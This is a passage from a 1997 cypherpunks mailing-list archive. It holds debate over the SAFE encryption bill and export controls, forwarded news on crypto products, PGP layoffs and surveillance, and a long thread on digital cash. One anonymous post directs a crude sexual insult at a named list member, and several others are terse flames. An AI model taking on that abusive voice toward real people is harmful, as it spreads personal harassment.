writing, they've got to read The List.  Well the more quality content
that comes to cypherpunks first, or exclusively to cypherpunks until a
3rd party forwards it the better, as this adds to cypherpunks
reputation, and increases the value of and interest in the list.

My attitude is leaning this way also.  I post most things to
cypherpunks first.  The others I consider in effect forwards of
material posted to cypherpunks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 02:47:11 +0800
To: sameer <jseiger@cdt.org (Jonah Seiger)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03020900af8e49aa795c@[207.226.3.4]>
Message-ID: <v03007800af8e9b2e837c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:52 AM -0800 5/1/97, sameer wrote:
>>
>> The status quo, in our view, is not good enough.  Because of the export
>> controls and the lack of a coherent US encryption policy, Internet users do
>> not have access to the privacy protecting encryption products they need.
>
>	Yes they do. There is a growing international crypto
>development industry. The export controls have hampered access to the
>products they need, but it has not eliminated said access.
>	SAFE is one step closer towards making *import* of
>cryptography illegal. It's a good thing Anguilla looks like a
>relatively reasonable place to live, with people like you "on our
>side".

In response to my post last night denouncing the SAFE Bill, some sources
have informed me (by phone and e-mail) that the whole SAFE thing is of
course not being driven by democratic or liberty motives. Rather, it's a
move by certain factions of industry to ensure that _some_ of their crypto
and Net commerce products can be more freely exported while also ensuring
that certain of their foreign competitors cannot enter the U.S. market
(hence the re-export clauses).

At the risk of using certain cliches, this is a bit like Farben and Krupp
getting special legislation making it easier for them to export certain of
their products while the law cracks down on both imports of their
competitors' products and on civil liberties in general.

That CDT and other organizations with "democracy" in their names would
shill for such a callow move to aid certain exports while suppressing basic
freedoms is regrettable. I can't wait for those "Use a cipher, go to
prison" billboards.

I predict that the uproar over this "use a cipher, go to prison" bill will
eventually equal the uproar over the EFF-supported Digital Telephony
(CALEA) Act of 1994. CDT and other organizations leading the charge will
never again be able to say their concerns are about civil liberties.

Oh, and Sameer, those products you re-export, like Stronghold, may soon be
banned by SAFE. It may not even be legal, even according to current law,
for you to operate out of Anguilla.

(Why, then, does the Administration oppose SAFE? And is this a reason for
folks like us to support SAFE? The Administration wants even more draconian
restrictions on basic freedoms, and SAFE does not go far enough in
restricting freedoms. Besides, with no effective lobbying group for the
"libertarian" side of the issue, the Administration knows it can safely (no
pun intended) argue against SAFE...worse case, for them, it passes, and all
the clauses about law enforcment needs and national security needs keep
things at least as bad as they are today, and probably worse. Best case,
for them, SAFE is defeated and the way is clear for them to introduce the
"Safe Streets and Children's Protection Act of 1997.")

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 02:42:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <199705011827.LAA14497@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Oh, and Sameer, those products you re-export, like Stronghold, may soon be
> banned by SAFE. It may not even be legal, even according to current law,
> for you to operate out of Anguilla.

	We don't re-export anything. All development happens outside
the US, and all sales to customers outside the US happen from outside
the US. As far as operating from Anguilla -- it would require
renouncing my US citizenship, yes.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 1 May 1997 23:58:06 +0800
To: cypherpunks@toad.com
Subject: Nations Cannot Terrorize
Message-ID: <1.5.4.32.19970501152725.008c8074@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


NYT reports today on the State Department's new 
"1996 Patterns of Global Terrorism:"

   "By the State Department's definition, nations cannot
   commit terrorism, only "subnational groups or
   clandestine agents" who carry out "politically
   motivated violence" against innocents. If a nation's
   air force bombs civilians that is not terrorism; if
   civilians blow up a plane, it is."

----

For full DoS report:

   http://jya.com/pgt1996.htm  (202K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 02:48:44 +0800
To: sameer <sameer@c2.net>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007800af8e9b2e837c@[207.167.93.63]>
Message-ID: <v03007801af8ea0d7d7df@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:27 AM -0800 5/1/97, sameer wrote:
>>
>> Oh, and Sameer, those products you re-export, like Stronghold, may soon be
>> banned by SAFE. It may not even be legal, even according to current law,
>> for you to operate out of Anguilla.
>
>	We don't re-export anything. All development happens outside
>the US, and all sales to customers outside the US happen from outside
>the US. As far as operating from Anguilla -- it would require
>renouncing my US citizenship, yes.

I'm no expert in these areas, but doesn't this consitute "providing hooks"
for strong crypto? The EARs say that a "hook" for inserting crypto modules
once a product is exported are essentially as bad as providing the crypto
before the product is exported.

Also, my understanding is that U.S. companies cannot send experts or
programmers to non-U.S. sites with the intention of thereby violating U.S.
export laws. (I once asked Jim Bidzos why he did not simply move his key
developers beyond the borders, and this is the answer he gave, repeated by
others at later times on the CP and other lists. So far as I know, this has
never been tested in court. Such a test would be comparable to Bernstein,
Junger, Karns, etc. in significance.)

--Tim


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 2 May 1997 00:22:47 +0800
To: cypherpunks@toad.com
Subject: Bombs Away, from The Netly News Network
Message-ID: <v03007804af8e6d02687c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


*********

http://cgi.pathfinder.com/netly/opinion/1,1042,902,00.html

The Netly News Network
May 1, 1997

Bombs Away
by Declan McCullagh (declan@well.com)

    Internet fear-mongering is back in vogue inside
the White House. The Clinton administration escalated
its assault on the Net this week, warning that it
provides bomb-making recipes to anyone "with a modem"
and proposing a new law to restrict such information.

     In a 53-page report released on Tuesday, the
Department of Justice alleges that criminals are
trawling cyberspace for how-to kits on making
explosives. "ATF statistics reflect that, between 1985
and June 1996, the investigations of at least 30
bombings and four attempted bombings resulted in the
recovery of bomb-making literature that the suspects
had obtained from the Internet," the report says. "A
member of the DoJ committee accessed a single web site
on the World Wide Web and obtained the titles of 110
different bomb-making texts."

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 2 May 1997 00:30:11 +0800
To: cypherpunks@toad.com
Subject: J/Crypto (fwd)
Message-ID: <Pine.SUN.3.91.970501120824.18504A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


---------- Forwarded message ----------
Date: Thu, 1 May 1997 10:27:33 -0400 (EDT)
From: Alex Chaffee <alex@earthweb.com>
Subject: J/Crypto

(original at http://206.20.162.246    JavaZine )


J/CRYPTO - Cryptography class library

Baltimore Technologies shipped the first copies of its Java
cryptography product J/CRYPTO at the Java Users Group meeting at
Communications '97. J/CRYPTO is the world's first cryptography class
library written entirely in Java and implements RSA, DES, Triple-DES,
SHA1, MD5, Diffie-Hellman and other common cryptographic functions. It
plugs into the Java Cryptography Architecture (JCA) and will comply
with Sun's Java Cryptography Extension (JCE).

J/Crypto includes a range of Java classes including: 

highly optimized Multi-Precision Arithmetic Modules;
cryptographically secure Pseudo-Random Number Generation; RSA
key generation & encryption; SHA-1 & MD5 Hashing; DES and
Triple-DES encryption; Diffie Hellman Key Exchange Mechanism.



J/Crypto includes many advanced features which provide commercial
grade security for applications. These features include:

full-strength key sizes (512,1024, 2048 bit RSA keys, 112-bit
Triple-DES); fast format RSA keys (Chinese remainder theorem &
Fermat-4); eeeelimination of weak & possibly weak DES & RSA keys;
bfuscation of secret keys and other sensitive data;
compatibility with PKCS #1, #3, #5, #8, #11; sample applications
and benchmarking.



Future developments for J/CRYPTO include implementation of Secure
Sockets Layer (SSL), IDEA, RC2, RC4, BSA4, BSA5 ciphers and a range of
high-speed stream ciphers.

For more info: http://www.baltimore.ie/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 2 May 1997 00:37:59 +0800
To: cypherpunks@toad.com
Subject: Kid hacker changes his grades (fwd)
Message-ID: <Pine.SUN.3.91.970501121105.18504B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Forwarded message

From:  http://www.accessatlanta.com/local/news/1997/04/30/gradehacker.html

Student faces felony for hacking grades

>From NewsTalk 750 WSB

A 15-year-old Florida High School student faces felony charges for
allegedly hacking his way into the school computer to change "F's" into
"A's." Jason Westerman claims it was only a joke, but he faces felony
charges for offenses against intellectual property and computer users. He's
been suspended for ten days. Westwood high school administrators want to
expel him. 

<<  End forwarded message






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 04:16:57 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705011941.OAA10162@mailhub.amaranth.com>
Message-ID: <199705011947.MAA17020@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> It is my understanding that not only is the above true but the financing of
> the development of crypto off-shore is also made illegal by the new
> restrictions. So if C2Net were to hire an independent foreign co. to
> develop their international version it would be in volation of the current
> regs even if no code was exported.

	That is an incorrect understanding of the law.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 04:17:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007801af8ea0d7d7df@[207.167.93.63]>
Message-ID: <v03007803af8eb5eecc51@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:43 AM -0800 5/1/97, William H. Geiger III wrote:

>
>It is my understanding that not only is the above true but the financing of
>the development of crypto off-shore is also made illegal by the new
>restrictions. So if C2Net were to hire an independent foreign co. to
>develop their international version it would be in volation of the current
>regs even if no code was exported.
>

Yes, that's what the language said when the ITARs got switched over to EARs
and Commerce took over.

I have no idea how Sameer's C2Net finances the offshore development of
Stronghold development, etc., but it's possible the Administration could
decide to make an example of them.

The gist of the laws is that "loopholes" are being closed down one by one.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 1 May 1997 19:27:26 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] ZKP
Message-ID: <199705011110.NAA14579@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May is widely recognized on the net, because of his 
frequent vitriolic postings, as someone/thing ready to cut 
off his own penis to spite the testicles, although his 
friends recognize him better from the rear.

   __
  /_/\__
  \_\/\_\ Tim May
  /\_\/_/
  \/_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Fri, 2 May 1997 01:37:50 +0800
To: paul@fatmans.demon.co.uk
Subject: Re:
In-Reply-To: <862018430.0517471.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970501132715.13454A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


I assure you sir that it was meant to be posted without anonimity, and
that it was lovingly hand crafted for your reading pleasure.  Now who is
this Gruber fellow?

---
 Trevor Goodchild

On Fri, 25 Apr 1997 paul@fatmans.demon.co.uk wrote:

> 
> > From:          Trevor Goodchild <trevorg@dhp.com>
> 
> > Dimi Vulis is just another garden variety KGB whore that has 
> > [REST OF RANT DELETED]
> 
> Hmm, a slippage I wonder by Trevorg@dhp.com, this was presumably 
> supposed to be sent anonymously. But why would it not be bot`ted?
> 
> I always thought these posts were emanating from somewhere like 
> dhp.com (Recally dhp.com is the domain which Dr. Grubor has his 
> addresses on).
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 2 May 1997 04:46:03 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705012023.PAA10686@mailhub.amaranth.com>
Message-ID: <199705012028.NAA19546@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> described further in part 744 of the EAR.  There are no License Exceptions

	Read part 744 before you try to be a net.laywer. 

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Fri, 2 May 1997 01:45:18 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Do government employees have freedom of speech?On Thu, 24 Apr 1997, Adam Back w
In-Reply-To: <199704272220.RAA07335@smoke.suba.com>
Message-ID: <Pine.LNX.3.95.970501132911.13454C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Sod.Off.

---
 Trevor Goodchild

On Sun, 27 Apr 1997, snow wrote:

> Pot. Kettle. Black.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Super-User <root@nwdtc.com>
Date: Fri, 2 May 1997 04:50:36 +0800
To: cypherpunks@algebra.com
Subject: Layoffs at PGP
Message-ID: <3368FF82.4EDB@teleport.com>
MIME-Version: 1.0
Content-Type: text/plain

http://www.wired.com/news/business/story/3543.html

I what part of the employee base was purged?  Anyone we know?

Sounds like PGP sold their soul to the company store... (or the
corporate binge and purge mentality.)


  [arrow] PGP Pretty Good on Privacy of Layoff Details
          by Kristi Coale

          6:09pm  30.Apr.97.PDT In keeping with its core technology -
          information security - Pretty Good Privacy was tight-lipped about
          the details of the layoffs it announced to employees Tuesday
          morning.

          "We prefer not to mention the number as we are a privacy company,
          but it was small in number and limited in scope," spokesman Mike
          Nelson told Wired News on Wednesday.

          The layoffs are part of what Nelson described as a shift in the
          company's strategy from developing products for protecting
          individual privacy to being a security specialist for the Fortune
          500. Analysts say this rejiggering of priorities is not a drastic
          one, pointing to the 24 March purchase of ZoomIt, a company that
          specialized in corporate, enterprise-wide security systems.

          The shift represents a maturation of a company that built its
          reputation through a type of grass-roots organizing: distributing
          its products through freeware, said Ezra Gottheil, director of
          Internet business strategies in Newton, Massachusetts.

          "They're a real Internet company. They're also an ambitious
          company that sees it's time to move into corporate IS
          departments," Gottheil said.

          Part of that shift may mean that Internet Fast-Forward, an
          ad-filtering technology developed by PrivNet, which PGP acquired
          last November, will take a back seat - perhaps permanently.
          Although PGP wouldn't say that it is pulling the plug on the
          product, Fast-Forward is considered a "lower priority" than other
          developments, Nelson said.

          "Internet Fast-Forward is not as closely related to the tools we
          develop for individuals for privacy," he said. And the fact that
          Fast-Forward filters ads which are an "inimical part of some of
          the emerging Web commerce models ... we don't want to hinder this
          development."

          Nelson wouldn't say whether the layoffs affected anyone in
          PrivNet but noted that the acquisition generated engineering
          talent PGP wanted. That technical know-how along with other
          resources are being focused on centralized corporate security
          systems. In fact, the company has put out a casting call for more
          engineers to satisfy its resource dearth in research and
          development in this area.

          Ultimately, all of these adjustments could simply be PGP's
          preparation to woo the investors it seeks for a public offering.
          Although PGP has no immediate plans to go public, company
          officials intend to review these investment schedules this
          summer, Nelson said.

          Related Wired Links:
          PGP's Export Solution: Stamps, Envelopes
          by James Glave

          PGP Zooms into Corporate Security
          by Spencer E. Ante

          PGP Lets You Take Charge of Your Cookies
          by James Glave

          Beat That Tap - It's PGP For Sale
          by David Lazarus

          [arrow]

   [Image]
     Find Read a story in the Wired News archive.
 Feedback Let us know how we're doing.
      TipsHave a story or tip for Wired News? Send it.

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:14:23 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files, FileGate
In-Reply-To: <Pine.LNX.3.91.970501182336.502A-100000@fatmans.demon.co.uk>
Message-ID: <199705011921.OAA09906@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970501182336.502A-100000@fatmans.demon.co.uk>, on
05/01/97 at 12:31 PM,
   Paul Bradley <paul@fatmans.demon.co.uk> said:





>> Bay Alarm said that some British cities have dealt with privacy fears by
>> setting up monitoring centers away from city and police offices,
>> where tapes are kept in case a crime occurs -- crime victims can call up
>> the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
>> The camera systems are also capable of taking pictures in the dark.

>Not just cities, quite small towns and residential areas have now taken 
>to using citizen-units tax money installing systems to spy on the very 
>same people. I have now taken to not visiting a town near me (Hastings) 
>because of the CCTV systems in place. Not content with spying on citizens 
>going about their business in towns a number of state funded colleges and 
>universities are now installing CCTV systems. Presumably audio "bugs" 
>will also be in order to ensure the student-units do not say anything 
>unseemly or hinting at some form of intellectual heresy.

>Also, a number of car alarm manufacturers are now producing systems to 
>track cars using GPS so if the car is stolen the police can track its 
>movements. I can quite easily envisage a situation in a few years time 
>when it is mandated that all new cars produced must be fitted with such 
>systems so that the government can track the movement of citizens.

>One cannot now go out of ones own house without being monitored, and for 
>those of us who are known heretics maybe even that is not true. 

Well I invision that in 20-30 years all TV's will be two-way (ala 1984) and
any LEA will be able to monitor the activities of the serfs a the push of a
button.

The infrastructure for this is currently being built. With the merging of
technologies: cable, INet, TV, Phone, & Computer all that will be needed is
the adding of a mic and video camera which will more then likely be
standard features of the computer/communication/entertainment equipment.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2j8to9Co1n+aLhhAQE5gAQAhO+H/+OHVq7tDEHrHwvUfvEcwViyipLk
i+UGXM8Olk/7HEb07eUFPyCU2oIvBw2KbPvwEHAKGy3SkccxhQdAaWduuDvZciND
HuBwQ2OX8i1Vy4oNOaCRBCxmGDtHVmT2FKC7x0MsZqylUqZdRfTKfrEfl+f9oWrs
UWqV6cbRGjU=
=Ja++
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:08:00 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007801af8ea0d7d7df@[207.167.93.63]>
Message-ID: <199705011941.OAA10162@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007801af8ea0d7d7df@[207.167.93.63]>, on 05/01/97 at 01:40 PM,
   Tim May <tcmay@got.net> said:


>At 10:27 AM -0800 5/1/97, sameer wrote:
>>>
>>> Oh, and Sameer, those products you re-export, like Stronghold, may soon be
>>> banned by SAFE. It may not even be legal, even according to current law,
>>> for you to operate out of Anguilla.
>>
>>	We don't re-export anything. All development happens outside
>>the US, and all sales to customers outside the US happen from outside
>>the US. As far as operating from Anguilla -- it would require
>>renouncing my US citizenship, yes.

>I'm no expert in these areas, but doesn't this consitute "providing hooks"
>for strong crypto? The EARs say that a "hook" for inserting crypto modules
>once a product is exported are essentially as bad as providing the crypto
>before the product is exported.

>Also, my understanding is that U.S. companies cannot send experts or
>programmers to non-U.S. sites with the intention of thereby violating U.S.
>export laws. (I once asked Jim Bidzos why he did not simply move his key
>developers beyond the borders, and this is the answer he gave, repeated by
>others at later times on the CP and other lists. So far as I know, this
>has never been tested in court. Such a test would be comparable to
>Bernstein, Junger, Karns, etc. in significance.)

It is my understanding that not only is the above true but the financing of
the development of crypto off-shore is also made illegal by the new
restrictions. So if C2Net were to hire an independent foreign co. to
develop their international version it would be in volation of the current
regs even if no code was exported.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2kBZI9Co1n+aLhhAQGMSgP8CzO+KYpsR+PWK2Ukxowxm6mCb+cfsmkm
7P8lakJ51Pvw19fR9lADPpNPkztjMRffIiY00sBZzq01xCyPS4IkK/+vwmfkmCSX
722rNi9ruP9yyJPMTxlqcxgcYrkKXdZtvmmhlVglu08cqp/rVOE6gotHZYHA1XEh
wVPP4/CpANU=
=Uny/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 2 May 1997 05:11:46 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v03020974af8c24a07c52@[139.167.130.246]>
Message-ID: <v0302090aaf8e840675e3@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:09 am -0400 on 4/30/97, Adam Back wrote:

> No offense Bob, but your pose takes some reading, too full of
                <vogueing> ^^^^ Freudian slip? </vogue>
> metaphors,

Consider yourself yet another victim of this philosophy major's penchant
for WFFy reason-by-analogizing (Wow. Almost as good as jya there...
<jya-as-Elvis>Thankyewverramuch</Elvis>).

> but I grok what you're saying, and the topic discussed here
> I find interesting.

Glad to oblige...

> How about this, rather than interface your ecash system with US
> dollars yourself through credit cards/ debit cards/ cheques / cash,
> just set up an entirely disconnected system.

Nah. I want to have real money backing it up. Any attempt to make money
less negotiable reduces its usefulness. Remember the Soviet Ruble? An
extreme example in the opposite direction, surely, but you get the idea.

> You may remember the digicash trial mint.  It was monopoly money,
> theoretically it was worthless.  However people were selling freebees
> for it (the odd T-shirt, cap etc), plus images, programs.  Also it was
> collectable in the sense that there was a limited mint.

Yup. Remember, it was Rich Lethin and I who set up ecm@ai.mit.edu, which
was a market where those digital cash certificate could be exchanged for
cash. Lucky Green sold the first ones, and Mark Grant(?) even put up a web
page to simplify things, using the list as a "tickertape" to announce
trades.

All of which actually proves my point. Because the market actually *did*
route around the lack of exchangeability. It's much better, of course, to
build exchangeability into a digital bearer certificate market from the
outset. Money's supposed to be negotiable, after all. :-).

What we have here is more a question of a business model rather than a
problem with cryptographic protocol.

> However this means you've got to trust the bank not to mint unlimited
> amounts of money for it's own use.

Right. That's why you have a separate trustee holding the reserve capital.
Again, it's using the right business model, and not necessarily
cryptography, which makes a market happen. Blind signatures and hash
collisions are necessary, but not sufficient, for the market to exist.
Anyway, in the first stages, I claim a trustee should be an actual, real,
um, "hoity-toity", bank. In the same way that SET and Cybercash and ATM
machines "blind" their transactions through the host bank onto a settlement
network to the customer's own bank, there can be sufficient blinding of the
transaction through the trustee so that the only thing the trustee sees is
a confirmation to pay and a settlement wire from the cash purchaser's bank.

Of course, at some point, the trustee can just hold other bearer
certificates instead of keeping the issuer's reserves in book-entry assets.
When there are other bearer certificates to hold, anyway...

How you issue those certificates mechanically is not nearly as important as
the fact that you *can* issue them uniquely. Ideas like hashcash and
micromint work real well for very small transactions, for example,
precisely because of the cost to generate the first one in the series,
which forces you to print a whole bunch of subsequent ones to pay for the
computational resources you've used. However, once again, um, no offense,
what cryptographic protocol you use to generate the certificate is the
functional equivalent of <analogy-warning> doodling, the process which
makes those complex graphic fills on paper currency which were designed to
moire up any attempt to photoengrave a certificate copy. </analogy> The
point is, you need cryptography for a digital bearer certificate market,
but it's not sufficient to create that market.

> But if you've got multiple banks then you've got to have an exchange
> mechanism.  The market could probably take care of this, setting
> exchange rates based on banks reputations.

Exactly. For instance, (hint, hint) if someone were to build
Eudora/Netscape/Quicken plugins for FSTC electronic checks, and a
plug-and-play deposit server for banks to receive them and convert them
into ACH transactions, who says you need the ACH system to settle the
checks anymore? All the different bank servers could just clear against
themselves on the net at some point, cutting their ACH fees out completely.
Someday.

> However it would be nicer to have something which required no trust
> and which had no posssibility of cheating rather than relying on
> reputation to sort them out.

Actually, I think there is no such thing as finance without reputation.
:-). I'd be very interested to see how you can prove otherwise...

> The problem with anonymous ecash to continue your metaphor is that
> .WK1 files also happen to be illegal or surrounded by huge amounts of
> banking regulations.  So even though the new system is better the
> negative forces acting against so far have succeeded in stifling it.

Nah. Reality is not optional. :-). Ask all the former 30xx COBOL-jocks out
there.

Remember, crime is orthogonal to technology. Bank robbery (these days,
anyway) is an artifact of automobile and firearm technology. The other uses
for automobiles are <metaphor-warning> cetacean in comparison to the krill
of "automobile crimes" like bank robbery </metaphor>. Firearms,
unfortunately, are in the same boat. Like nuclear power, we have bans on
guns because we can "afford" to have them. People don't hunt for food
anymore. I think that's why heavily populated countries have fewer guns.
You don't need them to eat, and even if you did, you'd starve, because all
the food was hunted out long ago...

BTW, it seems to me that hoplophobia, like innumeracy, is practically a
luxury. At least until <analogy-warning> the state shows up at your door in
black pajamas and asks you to put on some orange ones of your own for this
cool sleepover they're having a few miles out of town </analogy>.

> One of the negative forces also is user stagnation, people are used to
> cheques and credit cards, even if they are inefficient and prone to
> fraud.

I, for one, think the whole concept of "path dependency" is bunk, but let's
not clog the list with discussions of roman wheel ruts, QWERTY keyboards,
and the devine right of Windows...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 2 May 1997 04:02:41 +0800
To: Trevor Goodchild <trevorg@dhp.com>
Subject: Re: Do government employees have freedom of speech?On Thu, 24 Apr 1997, Adam Back w
In-Reply-To: <Pine.LNX.3.95.970501132911.13454C-100000@dhp.com>
Message-ID: <199705011943.OAA10195@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.95.970501132911.13454C-100000@dhp.com>, on 05/01/97 at 11:29
AM,
   Trevor Goodchild <trevorg@dhp.com> said:


>Sod.Off.

>---
> Trevor Goodchild

>On Sun, 27 Apr 1997, snow wrote:

>> Pot. Kettle. Black.
>> 

Ahhh... an intelectual conversation on CP, who'da thought. :))

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: It's OS/2, Jim, but not OS/2 as we know it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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9AVHv95Xtr+zv2Slym3Nb9RmXrivRW0V6TPguycpIVj10C5+ae5qDJm6h6wbchkj
ra/QrGF4juU=
=tx/w
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
